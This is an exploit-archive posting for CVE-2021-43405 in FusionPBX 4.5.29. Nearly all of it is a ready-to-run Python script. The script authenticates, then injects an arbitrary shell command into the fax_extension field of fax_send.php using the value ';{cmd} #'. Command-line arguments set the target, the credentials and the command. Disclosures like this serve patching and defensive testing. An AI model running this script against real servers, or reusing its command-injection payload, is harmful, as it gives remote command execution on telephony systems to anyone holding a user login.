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FusionPBX 4.5.29 Remote Code Execution

FusionPBX 4.5.29 Remote Code Execution
Posted Nov 8, 2021
Authored by Luska

FusionPBX version 4.5.29 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2021-43405
MD5 | 04581f4f5ce3e86ac66a0ee9d086008f

FusionPBX 4.5.29 Remote Code Execution

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# Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/08/2021
# Exploit Author: Luska
# Vendor Homepage: https://www.fusionpbx.com/
# Software Link: https://github.com/fusionpbx/fusionpbx
# Version: < 4.5.30
# Tested on: Debian
# CVE : CVE-2021-43405

#!/usr/bin/python3
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import argparse


cookies = {'PHPSESSID': '31337'}
proxy = {'http': 'http://127.0.0.1:8080'}

def login(url, username, password):
data = {
'username': username,
'password': password
}
r = requests.post(url + '/core/user_settings/user_dashboard.php', data=data, cookies=cookies)
return r.status_code

def exploit_request(url, cmd):
print('[+] Sending Exploit Request')
mp_encoder = MultipartEncoder(fields={ 'fax_subject': '1337', 'fax_extension': f';{cmd} #', 'action': 'send', 'submit': 'send' })
r = requests.post(url + '/app/fax/fax_send.php', cookies=cookies, headers={'Content-Type': mp_encoder.content_type}, data=mp_encoder, proxies=proxy)
return r.status_code

def exploit(url, username, password, cmd):
if login(url,username,password) == 200:
print('[+] Login Successful')
exploit_request(url, cmd)
print('[+] Exploit Sucessful')
else:
print('[-] Login Failed')

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[*] FusionPBX < 4.5.30 Remote Code Execution | CVE-2021-43405')

parser.add_argument('-t', metavar='<target/host URL>', help='Target/host URL, example: http://127.0.0.1', required=True)
parser.add_argument('-u', metavar='<user>', help='User to login', required=True)
parser.add_argument('-p', metavar='<password>', help='User\'s password', required=True)
parser.add_argument('-c', metavar='<cmd>', help='Command to be executed', required=True)

args = parser.parse_args()

target = args.t
user = args.u
password = args.p
cmd = args.c

exploit(target, user, password, cmd)

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